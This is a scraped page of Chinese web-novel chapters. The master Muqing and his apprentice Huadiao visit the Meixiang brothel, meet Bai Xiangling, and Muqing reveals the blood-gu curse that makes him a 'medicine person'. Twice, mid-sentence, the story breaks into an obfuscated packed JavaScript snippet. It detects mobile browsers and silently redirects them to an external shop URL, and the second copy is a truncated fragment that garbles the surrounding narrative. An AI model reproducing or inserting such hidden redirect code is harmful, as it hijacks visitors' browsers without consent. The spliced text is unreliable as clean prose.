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未来的几日依旧是到处走走逛逛,慕卿给花雕买了些乱七八糟的小物件,还反复告诫她:“临初咱们就来这一次。有什么想吃的想玩的一并都去了,要不以后没机会了。” 车水马龙,人声鼎沸。 两人像一对要好的姐妹,走在路上,画面相当和谐,时不时引来路人注目。 “听说柳源戏班的花二爷排了出新戏。”路边有人说道。 “唉?是吗?那我可得去看看。”另一人语气里有惊奇和期待。 隔得老远,“柳源戏班”四个字还是飞入了慕卿的耳朵,如果他没记错的话,那不是当初带走花雕姐姐的沈佳期所在的地方吗?顺着这条线索走下去,或许可以找到花雕的姐姐,那花儿不是就找到了在这世上唯一的亲人吗?她会开心的吧。不过他没有立即把这件事告诉花雕——这一切都没有成定数,到时候怕是期望换来失望。 “哇,磨精,那栋楼好漂亮啊,我们进去坐坐吧。”花雕又像是发现了宝藏,指着不远处的一栋高楼道。 飞檐反宇,雕梁画栋,是很精妙。慕卿眯眼一看,牌匾上写着“媚香楼”三个字。 30. 酒尽桃花凉14 没吃过猪肉难道还没见过猪跑?这不是那啥嘛,慕卿面上波澜不起,心里暗暗感慨,啧啧啧,人间圣地,这丫头真会挑地方。 这头,花雕想着,名字里面带了个“香”字,肯定是家饭馆,像什么天香居、百香楼之类的,招牌做得这么好,聘请的大厨肯定也不会差,里面的菜肯定很好吃! “你确定要去吗?”慕卿问她,脸上的笑意已经藏不住了。 两个女子装扮的人结伴去青楼?不知道还以为是妻妾相约来寻夫砸场子的呢! 看着慕卿笑得花枝乱颤,花雕不解:“怎么了?里面有什么吗?” “没……没什么……” 不能再说了,跟这个傻瓜再侃下去怕是要笑到没力气进去,想罢,慕卿拉走花雕:“我们可不能这么进去哟,会被人赶出来的,需要伪装一下。” 片刻钟后,花雕换好男装,慕卿依旧是女装,两人准备向媚香楼行进。 “好看。”半道上,慕卿替她扶正了束发的玉冠,又把自己的随身佩剑系到她腰上。 温润如玉,好一个眉目含情呆萌范儿的翩翩公子,虽然男装比起他还是差了那么一点点就是了。 俊男美女,二人勾勒成一道靓丽的风景线,在外人看起来有点养眼,只不过出现在不合时宜的场地,媚香楼的看门老鸨心中一惊,这阵仗,是小舅子带着姐姐来寻姐夫了? 拦住,不许进。 慕卿马上出面解释:“我家官人今儿个心情好,我说什么他都答应,早就听他说你们这媚香楼美人如云,伦家好奇,就让官人带着伦家来看看。” 说罢,还一脸小巧伊人地朝身边的小矮子身上靠过去,花雕很配合他的演出,笑得人畜无害。 媚香楼的姑娘好是好,终究是大家的,身边的姑娘也不错啊,这两人一看身高一看年龄,这姑娘明显就是倒贴啊。众人唏嘘,公子啊公子,放着这么好的姑娘不珍惜,还来这风月之地,你可真是被猪油蒙了心啊。 原来是有钱挣了,白花花的银子即将到手,哪有不要的道理?老鸨笑嘻嘻将两人迎了进去,又去拉扯花雕的袖子:“公子啊,看上哪个姑娘尽管直接跟她们说,我们这的姑娘啊,都阳光开朗,不认生的。” “好的,我们先看看,等有需要了再找您。”花雕对这种突如其来的熟络很不适应,扯回了老鸨手中自己的衣袖,卷起来捏进掌心。 紧接着慕卿递过去一锭白花花的银子,老鸨合不拢嘴地收下,识趣地离开了。 “这么贵?!!”花雕惊愕,这才刚进门,两坨银子就没了,看着慕卿颇为淡定,花雕不禁发问:“师父你出门带了多少?要不咱们回去吧!” “没事,管够。” “哦。”那就好,反正师父也不像是缺钱的人儿。 媚香楼楼如其名,真香!却不是个饭馆。再看看这里的姑娘们,身上的衣服薄如蝉翼,身姿妙曼,那腰扭得跟水蛇似的,一颦一笑中都带着媚意。 哇,辣眼睛,慕卿觉得不忍直视,就转眼去看花雕。 花雕却目不转睛盯着前面弹琴的女子,“慕卿,琴声,好听的。” 慕卿却不为之所动,只是静静地看着她,露出慈母般的笑容:“你要是喜欢,我可以请这位姑娘去我们家,只给你一人弹琴。” 花雕看出了端倪:“磨精你来过这里吗?为什么你都不看一下的,我觉得这里的姐姐们都很好看。” 好看?丫头你是不是对好看有什么误解,像他慕卿这样的,出淤泥而不染,濯清涟而不妖的,这才能叫好看! “没……”臭丫头!本公子可是比你大了十三岁,见识当然比你广。 花雕前五岁也不记得什么事,后来的日子都是被慕卿带着到处跑,慕卿肯定不会把她往这种乌烟瘴气的地方带,也不会跟她讲一些乱七八糟的事,于她而言,这些自然是闻所未闻,见所未见。 哈哈,好好的孩子不能给她带坏了,但现在怎么就是,突然一下子被他拉进了坑? 花雕走走瞧瞧,时不时被这个姑娘拉拉小手,那个姑娘摸摸小脸蛋儿,羞得她面红耳赤,慕卿紧跟着她,在一旁看了觉得好玩。 突然有人示意大家安静下来:“各位客官,今天咱们沫儿姑娘邀众才子谈论诗词歌赋,行飞花令,拔得头筹者,可与沫儿姑娘共度良宵。” 在众人的议论中,慕卿听到了,这个他们口中的沫儿,好像是花魁来着? 慕卿望向面前贝齿明眸皓腕的姑娘,她绾着麻花辫,身着一袭水蓝色纱质薄裙。是很美,可惜烟火气还是多了点,比他还是差了点,哼,麻花辫哪能有流苏髻好看! 随即,慕卿举手发问:“我若是帮我家官人拔得了头筹,那姑娘今晚可归我家官人了么?” 众人惊!从来没见过哪个女子让自家夫君对别的女子投怀送抱,敢情这个高个子小姐和这个儒雅公子不是真爱吧…… 沫儿看着他身旁男子打扮的花雕,心想着这小公子倒是俊俏,心里一千个一万个愿意,笑吟吟道:“那是自然。” 花雕听得一脸懵逼。 只见慕卿拿着一柄不知从哪里摸来的小团扇,撸着袖子,在一大群油头垢面的男人中间吟诗作赋,一番唇枪舌战,画面相当之美。 花雕也当起了看客,一碟瓜子嗑得悠闲,时不时还朝他投去“师父牛掰”的眼神加以赞许。 一个才艺双绝的女子,去替自家夫君在媚香楼抢花魁,还拔得了头筹,这写进折子里又是一段佳话。 回到席间,慕卿像一只欢脱的小白兔,满脸求表扬的模样跟花雕炫耀:“最漂亮的姑娘给你搞到手了,可还开心?” 眼看着沫儿姑娘款款而来,花雕心想,师父你赶紧收手吧,徒儿要被你坑死了。 但是某人,云淡风轻地坐回了她刚才的位置,嗑着剩下的半碟瓜子:活该让你什么都要见识一下,好奇害死猫吧。 沫儿姑娘也颇为主动,不由分说地就把花雕往一旁拖。 花雕在心里呐喊,师父别走,师父快来救我啊,别坑徒弟啊,并向他投去求救的小目光。 反正你们性别相同,谁都掉不了一块肉。慕卿无动于衷,倒是闻见旁边一个姑娘的胭脂贼好闻,便前去攀谈跟人家讨要地址,想着赶明日的买一套送给小花。 两人坐在同侧饮酒,花雕虽是嘴上应付着沫儿,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598172|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神却时不时往慕卿这边瞟,慕卿也时不时望向她,二人目光交汇。 眼见着慕卿东边西边这个姑娘那个姑娘聊两句,直到他蓦然起身,追着一个姑娘的方向去了,花雕才发现事情并不简单。 也懒得管什么沫儿不沫儿的了,起身就跟了上去。 却听见慕卿呼唤着一个姑娘的名字:“翎儿!” 花雕心中醋意翻起,这翎儿是谁?还叫得这么亲热? 慕卿四处搜寻着那个姑娘的踪迹,眼见着他的目光中有说不清的情绪,是担忧?着急?还是迫切?花雕看不懂。 花雕琢磨着要不要追上去,他却已经没了影。 那是慕卿第一次丢下她。 也许那个女孩子于慕卿而言真的很重要吧,比她还重要。 花雕突然想起来在望南山他说“这酒啊,给我生命中很重要的一个女子”时的模样,那时的慕卿眼里眉间掩不去的温柔笑意,而今出现的这个女子,是不是就是他说的那个人? 那时花雕还傻乎乎地不明所以地跟着他一起埋酒,现在看来,却是为他人做了嫁衣。 慕卿还没有成亲,只是一直带着她四处奔走,花雕有时叫慕卿“娘亲”,其实她于慕卿,一直都是累赘的吧。 一分钟过去了,慕卿还是没出现,他不在的每一秒,于花雕而言,都是难熬的。 这边,花雕强忍住的泪水决了堤。原来,自己真的不重要,可能只是出于同情吧,他那么心善,肯定不忍心看一个小女孩在外漂泊。 几分钟后,慕卿折了回来,面上写着失落,看来是没找到那个人。 “受欺负了?怎么哭了?”慕卿刚想用指腹擦去她眼角的泪,花雕却一把打落了他的手掌。 “小祖宗,可别哭,哭花了妆可就不好看了。”慕卿蹲在一旁,像多年前哄那个五岁的小孩一样哄着她。 花雕五官是江南女子小家碧玉那般的温婉模样,阳刚气明显不足,出门前慕卿还特地给她化了个男子的妆容,加粗了眉毛,加深了轮廓。 看着身旁人焦急的神情,花雕心想,算了,她也不能一直当慕卿的累赘,慕卿总该有自己的权利去追求他的幸福吧。 花雕抹了把眼泪,朝慕卿粲然一笑:“没事,我们回去吧。” 明明选择了成全,放他归去,以后再也不会纠缠他,于他也是一种解脱,可是,为什么花雕的心里似有千斤沉? “其实翎儿……” 回家路上,二人各怀心事,一路沉闷,慕卿刚想解释,却被花雕打断:“师父我不听,你也不用跟我说,那是你的事。” 又是“翎儿”,说了半天她花雕连人家姓甚名谁都不知道! 她以为慕卿要说一堆和翎儿的怎么遇见、怎么发展、怎么在一起的桃花艳史。 其实不是,慕卿想告诉她那些关于空山谷的点点滴滴,还有他的过往。百香翎的意外出现,暗示这一切都属于他,是他逃不掉的宿命,他觉得,是时候该告诉花雕了,可是她却不知怎的跟自己怄了气。 “那你别太在意。”慕卿想总有一天,花雕会明白的。 嗯好,唯有祝福了,花雕默想道。 31. 酒尽桃花凉15 正说着,拐角处突然出现了两个彪形大汉,拦住了二人去处,慕卿瞧着有点眼熟,咦,这不是刚刚飞花令上斗诗的两个手下败将嘛。 为什么打劫这种事总是成双成对地出现,大概是人多显得比较有气势吧。 二人步步紧逼,面上露出猥琐的表情,笑得很奸邪,还口出秽语。 “美人儿,跟爷回家吧!爷会好好疼你的。” “美人儿”当然是指的慕卿,花雕此时还是男装,被无视得很彻底,对方大概是觉得,估计这个弱鸡小白脸也没什么战斗力。 疼你个二百五啊,本公子又不是没人疼。慕卿上去就是一顿暴栗,庆幸还好剑没带在他身上,不然这两个人吃的就是刀子了。 打完,慕卿掸了掸衣上的灰,在那两个小毛贼面前耀武扬威:“不打得你们满地开花,你们不知道本姑娘文武双全是吧!” “是是是,姑奶奶的厉害我们见识了,这下知道啦。” “滚蛋吧。”得饶人处且饶人,没必要赶尽杀绝,对于这种渣滓败类,稍微教训一下就是了,慕卿心想。 “是是是,我们这就滚蛋。”两人知道了眼前人的厉害,得了指令,拔腿就逃。 眼见着二人抱头鼠窜,慕卿得意得尾巴又翘起来,跟花雕炫耀:“乖徒儿,许久没有施展拳脚,你看师父武艺可有精进啊?” 倒是花雕,还想着百香翎的事,才缓过神来:“嗯?发生了什么?他们怎么走啦?” 眼见着小破孩六神无主,慕卿微微心疼,叹了一口气:“走吧,回客栈去。” 照目前这个状况来看,估计慕卿说什么她都听不进去,等有机会了再好好跟她解释解释,不急,反正来日方长。 没过两天,慕卿跟她坦白:“我有个事想跟你说,我想去媚香楼看看,找一个人,她叫百香翎。” 终于知道了那人姓甚名谁。 花雕心里的醋坛子早就翻成了海:好呗,就翎儿呗,我知道的,心上人呗,青梅竹马呗。 “你去吧,你想找人,肯定有你的道理,你不用跟我讲太多,我也不想听。” 听了也心烦,不如两耳清净。 慕卿想着早点把这桩事了结,离开临初这个是非之地,立马就动身出发了。 花雕看眼前人走得干脆利落,心中的失落又增加了几分。原来,当她和别的女子沦为选择题的时候,她是慕卿最先丢弃的那个选项。 花雕的这一生过得简单至极,简单到眼里心里只有慕卿一个人。可慕卿不同,他经历过很多人和事,然而除了无涯子和赵府诸人,他从未跟花雕透漏过其他,这就是旁人能理所当然地从她身边抢走慕卿的理由吗?花雕越想越难过。 弃我去者,昨日之日不可留;乱我心者,今日之日多烦忧。 花雕本想着抄写诗句排解心中苦闷,却怎么都写不好这一句,拿着毛笔在书上就是一顿胡画,把废纸揉成团丢了满屋。 很快,事情发展得超出花雕的预料,慕卿不但替百香翎赎了身,还把她带回了客栈。 花雕小情绪泛滥,心想,你们郎情妾意,别当着我的面秀啊。 其实,事情并不如花雕所想那般,慕卿会带着百香翎,除了那个女人厚着脸皮非要跟他一起,更因为他心有愧疚。 几个时辰前,慕卿又回到媚香楼,经过多方打探,终于确定昨天遇见的女子是多年前空山谷的那个翎儿,便有了替她赎身的想法。 哪知百香翎不依不饶:“是你替我赎了身,我又无处可去,当然得跟着你。万一你不要我,那些人又把我抓回去了怎么办?” “你救我一命,我替你赎身,我们扯平了,互不相欠。”刚出媚香楼,慕卿下意识迈开步子,离她远些。 “好一个互不相欠,你可知,我为何会在媚香楼?都是因为你!”百香翎突然笑得很癫狂,指着身后的媚香楼招牌道:“那年我把你放走了,我爹气不过,就把我卖了,你走了多久,我就在那种地方呆了多久!你还敢说我们互不相欠吗?” 二十年,慕卿离开空山谷整整二十年了。 原来,这二十年困顿的,除了自己,还有她。一个女子,才几岁就开始呆在那种地方,一定受了很多苦楚吧,而这些都是因为他的离开,慕卿想着,心中的愧疚又多了几分。 “对……对不起……” 百香翎不以为然,对不起几个字太廉价,动动嘴皮子就能解决的事。起初她也埋怨过慕卿,可时光渐渐消磨了她的那份怨念,其实她更想知道,这些日子慕卿过得怎么样,有没有被空山谷的人找到过。 初获自由,百香翎无事可做,索性想着在慕卿身上寻些乐子:“我们做个交易吧,我知道你想要什么,我可以给你,但是,我要跟着你,你不许赶我走。” 百香翎知道慕卿一定在找解药,血蛊是会反噬的,离开空山谷,就没人能帮他控制住它们。 眼见着慕卿没有吱声,百香翎默认他是答应了。 慕卿回了客栈,百香翎跟着他一起回客栈,一进门,就看到了满地的纸团,上面有的墨汁都没干…… 百香翎被惊到了,这……日子过得也太颓废了吧。 而肇事者正在屋内悠悠地啃着一个梨,闻见门外有动静,一出来就看到了慕卿身后的女子,如临大敌。 比她要年长一些,五官是标致,但脸上的风尘气完全掩不去,慕卿怎么会看上这样的女人! “爹地,我娘去得早,你再找一个我也是不介意的。”花雕没有疑惑,反而乖巧道,面前的女子除了慕卿口中的翎儿,还能是谁? 找个台阶下呗,她杵在这里也是怪尴尬的,与其死缠烂打,不如各自成全来得痛快。 慕卿用一种复杂的眼神看着花雕,他知花雕误会了,觉得此刻他们之间突然变得好陌生,就像这个突然说出口的“爹”字。以往撒娇的时候,她喊他“磨精”,整蛊的时候喊他“娘”,严肃的时候连名带姓地叫,更多时候她会叫师父,因为他们一开始的身份就是师徒。 他从来都是女装,除了初见面那次,她根本不会喊他“哥哥”或者“爹地”。 倒是香翎露出一副难以置信的表情:“这小丫头是你的女儿?” 不会吧?慕卿不过比她长几岁,何况还是以一个女子的身份活着,哪来的功夫娶妻生子。 慕卿纠正道:“是我的徒弟。” 花雕突然咯咯笑得很欢快:“什么师父,他不认我,就是想装作一副涉世未深、深情款款的模样,好去勾搭外面那些姑娘,翎姑娘你可要擦亮眼睛,莫被他骗了。” 虽然心里想着成全,嘴上还是不放过慕卿,越说越悲凉,花雕只觉得眼睛里跟填了砖头似的,堵得慌,想哭却哭不出来。 却又不想让他们看见,花雕决定出去洗把脸。 慕卿也没有去追花雕,反而趁着她不在,问百香翎:“你之前说交易,你想要什么?” 他想早点结束这一切,和花雕回归正常的生活。 百香翎并不答她,恍若无骨,软瘫在慕卿怀里,一手勾在他的脖子上,另一只手不安分地 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花雕真的要气死了,这么多年了,就算慕卿只是湄河边的一块石头,她也能给他捂热了,此时面前的女人大放厥词,三言两语就把慕卿否认得很彻底,那可是花雕心目中的神啊!凭什么! 算了,忍着吧,谁让她是师父的女人呢,以后还要叫一声师娘,扯破了脸皮,再见难免尴尬。 倒完茶,花雕刚打算光速溜远,本想着眼不见,心不烦。 百香翎像是捡好了时间般的,趁机发问:“那如果我说,要在我和她之间选一个,选她,我就走,选我,我就给你你想要的,你选哪个?” 选?选什么?事实已经摆在这里,她花雕就是多余的,百香翎之所以这么问,无非是想赶她走。 还不等慕卿做选择,花雕就先开口:“师父,我不为难你,我走,祝你们幸福。” 说罢,头也不回地出门了,只是泪水早已决堤,花雕不敢再回头,怕自己眼中的落寞被他们看见,一个灰头土脸的多余者,何必搅了别人的兴致呢。 看着慕卿的目光随屋外人远去,百香翎一语戳破:“哎呀,这就心疼了,那你去把她找回来呀。” “你过分了。”慕卿一把推下她,转身欲追去。 之前慕卿对百香翎百般容忍,是因为他真的需要解药,但是现在花雕越误会越深,慕卿也就管不了那么多了。 “我再提醒你一点,你有药蛊附身,注定是活不过半个甲子的,你想想吧,你今年多少岁了?” 药人虽然容颜不老,却因反噬对身体负荷极大,故而短寿,至于是不是像传言中的那般能活死人医白骨,慕卿也没试过。 一个甲子六十年,半个是三十。遇见花雕的那年,他十八,如今,他二十八。 还有两年,够了。这两年,慕卿的目标,就是替花雕寻个好人家,让她下半辈子有依有靠,不是孤苦伶仃一个人。 “等你走后,她一个人,抑郁终老,你忍心吗?照我说啊,长痛不如短痛,现在让她走,你们一别两欢,多好。” 好个毛线好,花雕离了慕卿简直不能活好么,他要是不在,花雕的N种死法他一只手都能数过来!饿死的,冻死的,渴死的,病死的,蠢死的。 百香翎心里也是有谱的,她之所以这么说,是因为药蛊基本无解——需要有与宿主血缘相近之人换血,把所有的蛊毒从宿主身体里彻底拔除,而被换血的那个人,生死皆不知。 找到慕卿的家人就已经很难了,即便找到了,谁又会豁出性命去救一个失踪二十余年毫无感情基础的家人?更何况这只是理想状况,毕竟具体谁也没有实践过,谁让他们空山谷仅有慕卿一个药人呢。 32. 酒尽桃花凉16 出了客栈,花雕望着街上人来人往,却不知道要去哪里,索性就四处逛逛。 路过一家名为“锦尚庄”的布店,热心的老板招呼她进去:“姑娘要不要进来看看?本店新到了一批货,都是上好的料子。” 花雕坦白地摇摇头,我没有钱。 她想起小时候,她总是会看上慕卿身上穿着的各式各样的女装,就揪着他的衣摆央求道:“好看,想买。” “买买买。”慕卿总不会拒绝她,有一次他还抱着花雕碎碎念道:“自己家的小丫头,说什么也要宠着惯着。” 于是乎,每天两个人穿着同样款式的衣服走在乡野街头,像极了一对羡煞旁人的母子。 路边有糖人师傅在画糖,花雕喜欢这类的甜食,慕卿总是在路过走街串巷的小贩时,从他们手中寻一串塞给她,却还嘱咐:“少吃点,烂牙。” 看到她渴望的眼神,糖人师傅招呼她:“姑娘,要来一个吗?不贵,就一文钱。” 她摇了摇头,她身上现在没有半个子儿。 花雕一路走,一路看。 包子铺的老板揭开蒸笼,白蒙的水汽翻涌而上,裹挟着小麦的香气,再看看屉笼里,静静地躺着一层白白胖胖的馒头包子。 旁边有个支着小篷,就上几张简易桌椅的粥铺,老板忙里忙外,舀了勺米粒分明的温粥,配上半碟酸咸适宜的可口小菜,送到客人面前。 酒楼旗帜招扬,还没到中午饭点,已经香味肆虐,朝她席卷而来。花雕突然想起来很多年前的那个夜,那只很温暖的手,那碗飘满葱花的面,和那个如天降神祇的少年——那还是十年前。 此时,肚子不争气地“咕噜”了一声,花雕心里骂骂咧咧:叫什么叫,没钱买你知道吗! 不看不听不知道,花雕赶紧走开了。 总角之时,花雕问慕卿,为什么他们一直在到处走?慕卿说,有一种人,像风一样,注定不会停留,他们行过桥头,路过边野,翻山越岭,走过很多的崎岖坎坷,最终却发现,这天地虽大,却没有他们的容身之所。到头来,走遍每一个犄角旮旯,会发现自己竟是无处可去。 原来他们一样,都是那种像风般的人,自由的,却也迷茫漂泊,不知所踪。 走了一上午,也累了,肚子还“咕噜咕噜”闹腾得厉害,花雕干脆坐在路边的台阶上,开始揉脚。又冷又饿又心凉,要是慕卿在,她至于受这种委屈吗?都怪那个百香翎,抢走了她的慕卿,想着想着,花雕不觉已泪流满面。 “花儿,你怎么哭了?” 听见有人叫“花儿”,花雕以为是慕卿,抬头却看见一个儒生打扮的人,那人一副呆头呆脑的模样,不算聪明。 迎着花雕迷茫的眸,方喻挠了挠头,这才发现自己认错了人。花儿怎么会哭呢,有白无垢在她身边,每天想着法子逗她开心,再说了,人家马上就是要跟着白无垢进宫当皇后的人了,哪来的时间悲伤。不过你别说,刚才的姑娘,长得跟花儿还真像,想罢,方喻纳闷地走了。 看着男子远去的背影,花雕想起她刚开始遇见慕卿那会儿,还是个好哭包,受不得星点儿委屈,终于有一次,慕卿忍无可忍,威胁她:“哭什么哭!再哭就把你丢掉!” 慕卿也只是吓她,她却怕慕卿又把她送到那个撑船的可怕老爷爷那里去了,就问他:“我乖,我不哭,那你会一直把我带在身边吗?” 看着花雕长长的睫毛上还挂着泪珠,慕卿笑得春暖花开:“好,一直带在身边。” 这些慕卿大概是都忘了吧。 花雕答应了慕卿不再哭,可慕卿还是不要她了,就为了一个突如其来的女人。 花雕越想越愤懑,她这样算是什么?遇到外人就把师父拱手相让,怎么着也得问问那个女人的底细吧!怎么就怂了呢!不行,她得回去问问。 花雕走后不久,百香翎觉得慕卿无趣,也走了。慕卿给了她些碎银子,还给她安排了一处宅子。 慕卿一个人等在客栈里,一数一个时辰过去了,花雕还不回,便开始买醉——他不敢贸然出去,他怕花雕回来找不到他会做傻事。 一坛又一坛,花雕还是没回。 先前带来临初的酒都被卖了,本想遂了她的心愿,只是单纯地陪花雕玩几天就走,可没想到因为一个百香翎,耽误了不少日子,期间,慕卿也没有酿酒。 什么水货,跟他酿的差远了,还卖得那么贵,慕卿想着来气,踢开脚边的一个空酒坛。 酒坛骨碌着滚远,正停在门口那个姑娘的脚下。那人满身是泥,顶着一个鸡窝头和几片菜叶子,正是花雕。 慕卿心中庆幸,还好,她回来了。 集市有人在抓贼,花雕不明所以,混进了慌乱的人群中,结果摔了一跤,便落得这般模样。 见百香翎不在,花雕朝慕卿伸手,开门见山道:“我没有带钱,给我钱!” 先不理会那个跟她抢师父的臭女人,填饱肚子再说。 慕卿心中窃喜,还好没让花雕管钱,这样她没钱了还知道回来找自己要。 慕卿转过身去,从行囊袋里翻出来一张银票,递给她:“一百两够了没有?” 一文钱就是一个馒头,一两银子是一千文钱,一百两银子是十万文钱,就是十万个馒头,花雕心里盘算着,心想,够了够了,够吃好久了。 花雕默不作声地将银票揣进衣襟,想说什么,却又想到了百香翎,欲言又止。 眼见着花雕正欲离去,慕卿喊住她,替她摘下头上的菜叶:“你头发乱了,我替你理理吧。” 小时候,花雕总嫌弃慕卿手劲大,扎头发箍得紧,弄得她头疼。后来慢慢地,慕卿就学会怎么给花雕梳妆,偶尔也替她描眉画眼。 花雕面上乖巧地坐在小木凳上,实际上饿得要死,慕卿的请求她自然是不会拒绝,但是一想到百香翎她就来气,故坐着一言不发,也不知那个女人此时在哪。 慕卿取出妆奁,拿出梨木梳,一手托着她的及腰长发,另一手随着如瀑青丝倾泻而下。 二人沉默了良久,慕卿突然开口问她:“你知道三百六十行,这么多出路,我为何会选择酿酒吗?” 酿酒?酿酒跟百香翎有什么关系?怎么好好的就开始讲故事了,花雕也好奇,答道:“不知,莫非你祖上是酿酒的?” 目前的行业多是祖传父,父传子,花雕这么猜当然也没错。 慕卿望着铜镜里的她,微微叹了口气:“这还要从空山谷的药人说起……” 何为药人?它指的是在很小的时候挑选体质适合的男童,饲之以血蛊,再以名贵草药喂之,久而久之,血蛊便与饲主融为一体。等饲主长大后,饮其血液,就能美容驻颜,起死回生。 慕卿便是空山谷的试验品,也是第一个成功的药人,空山谷在他身上花了不知道多少名贵草药,盼着能从他身上找到一些血蛊的独特效果,好多养几只。可百香翎无意中听到了谷主的计划,十分害怕,就帮助慕卿逃离了空山谷。 原来自家师父是药人,被养大是为了给别人吃的,就像那些牲畜一样。花雕闻言,心疼不已,猛地扑过去,窝进慕卿的怀抱,曾经看来那淡淡的好闻的“胭脂香味”,如今闻起来确实异香扑鼻,诡异得很,花雕心里咯噔了一下,难道这也和血蛊有关。 一眼看出了她的怀疑,慕卿解释道:“因为被喂了很多奇奇怪怪的草药,血蛊也吸收了那些草药的奇特功效,同时也变得异香扑鼻,所以我才要穿女装,免得引起别人怀疑。” 只因药人本身,长期受到兰芝芳草的滋养,肤白胜雪,异香缠身,且血蛊又拥有极强的恢复能力,能够在短时间内修复饲主受损的身体组织,所以慕卿漂泊的这些年,无病无伤。 空山谷自无意获得这种神奇的蛊虫之后,便开始加以利用,开始养药人试验,第一批养了十个男童,就只有慕卿一个人活了下来。早些年在空山谷的时候,慕卿根本用不着遭受血蛊反噬之痛,空山谷的人会给他定期服用特制的药物,慕卿以为那是他苦心追寻的解药,却不知,那是为了饲养血蛊,精心研制的滋补药物,血蛊得到了滋养,便安静下来,不会反噬。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598174|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 慕卿还告诉花雕,每三个月离开她几天也是因为血蛊。 血蛊会反噬,每到发作之期的慕卿,性格会变得暴戾,会如同杀人嗜血的野兽。慕卿刚离开空山谷不久,就发现了血蛊反噬,也发现自身愈合能力惊得吓人,于是每每血蛊反噬的月圆之日,他成为了自己下手的目标,每次就把自己关在屋里,自残--弄伤了自己,就没有办法出去伤害别人了。 解铃还须系铃人,只要慕卿一天不回空山谷,拿不到解药,就会受到血蛊的困扰。他虽武艺高强,可是空山谷机关遍布,毒物盛行,慕卿也只怕是有进无出,惶恐自己只能成为那些别有用心之人的盘中餐,更可怕的是,一旦他们从中尝到甜头,发现有利可图,更多人会受其毒手,更多的孩子会饱受其害,更多的药人会被研制出来。 慕卿不愿如此。 所以百香翎的到来无疑为他增添了一点希望,慕卿迁就她,也只是为了寻求一个解脱之法罢了。 花雕咬着嘴唇:“除了求助空山谷,真的没有别的办法了吗?” 慕卿摇了摇头。 花雕听着,眼泪吧嗒吧嗒往下掉,泪如断珠。原来师父不是不要她,而是真的身不由己。可是,自己还怪他,慕卿还努力地哄着她开心,明明要忍受着那般噬血钻心之痛。 慕卿心中五味杂陈,这些,他本来是不想告诉花雕的,现在迫不得已都告诉她了,也不知是好是坏,想着,又把她揽进自己怀中,拍了拍她的背。 怀中人却哭得更加凶了,慕卿感受到自己衣上湿了一大片,连连安慰道:“没事的,没事的……” 只有慕卿知道。近些日子,血蛊变得异常活跃,自己发作起来也变得愈加凶残,怕是不到两年,就会扛不住的吧…… 那时候,他的小花雕该怎么办?慕卿思忖着,脸上又布上浓密的阴云。 相处得久了,自然是对这个小丫头有些感情的,虽然在他心里,一直觉得花雕是他生命中的过客。可是,现在慕卿不得不相信,花雕是他生命中的贵人,是花雕让他成为真正意义上的人,变得有喜有怒,有悲有伤,而不是一些别有用心之人的药罐子。 怀中人渐渐平息,慕卿把她扶坐正,又替她打理着青丝:“好啦,我给你讲讲后来的故事吧。” 面前的女孩子泪眼婆娑,乖巧点头应道:“嗯嗯。” “其实我也不亏,哈哈哈哈哈。百香翎她给了我一本书,是酿酒的,里面各种绝世好酒,都是他们老祖宗的宝贝,数不胜数,可惜啊,就是被空山谷后人给败了。” 原来,空山谷的祖上是酿酒的,也研究草药,用来泡药酒。到现在这辈,他们抛弃了祖上的老本行,改行医,且兵出险招,也不按照常理来行医——本来蛊毒是寻寻常常医人的法子,却被他们中有心之人加以利用,做成了人吃人的偏方。 “所以,你知道了吗?我是一个危险的药人,你最好离我越远越好。我也不知道自己什么时候会变成彻底丧失理智六亲不认的喋血狂魔。”慕卿调侃道,又去看她的表情。 花雕面不改色,脸上倒是多了几分坚毅:“不,师父最好了,无论师父变成什么样子,师父始终是小花的师父。一日为师,终生为父,小花从来没有见过爹爹,师父就是小花的再生父亲,这种联系,是什么都割断不了的,无论是千山万水的距离,还是血蛊。” 继而,花雕又纳闷道:“百香翎呢?我去找她,她是空山谷的人,她一定会有办法的。” 花雕进门时还吃醋,师父为什么对百香翎那么好,平日滴酒不沾的慕卿会为百香翎买醉,原来,他们只是故人,隔着空山谷这一层羁绊。 话说上次花雕踏进这个门槛还看到百香翎跟慕卿两人如胶似漆,半天过去了,百香翎就没了影子。 “百香翎啊,她走了呀……” 走了,怎么可以走了,她走了你哪里来的解药?!!花雕正想问个究竟,肚子却不合时宜地叫了起来,“咕噜~” 慕卿把她摁到桌前:“唉,吃饭吧。刚点的猪耳朵、拍黄瓜和花生米,下酒的。” 33. 酒尽桃花凉17 看着眼前的小姑娘三盘下酒菜吃得精光,慕卿想着她肯定饿坏了,又给花雕点了好几个菜,在一旁跟她絮絮说着一堆零碎家常的事,看她吃得津津有味,又替她盛了一碗米饭,心念道:丫头,少吃点,太胖了以后赵泽毅抱不动,他会怪我的。 赵泽毅就是慕卿为花雕敲定的夫君人选。说起那个男孩子啊,是要身家有身家,要样貌有样貌,每年他们都要去全县呆上那么几个月,赵泽毅和花雕已然相识多年,最重要的是,赵泽毅对花雕也很好。 慕卿还有两年,除了赵泽毅,他不确定两年之内能找到一个能对花雕这般好的人,索性,就兔子吃了窝边草吧。 赵泽毅总喊花雕兔子妹妹,如今她倒是真的成了小白兔,想着,慕卿不禁失笑。 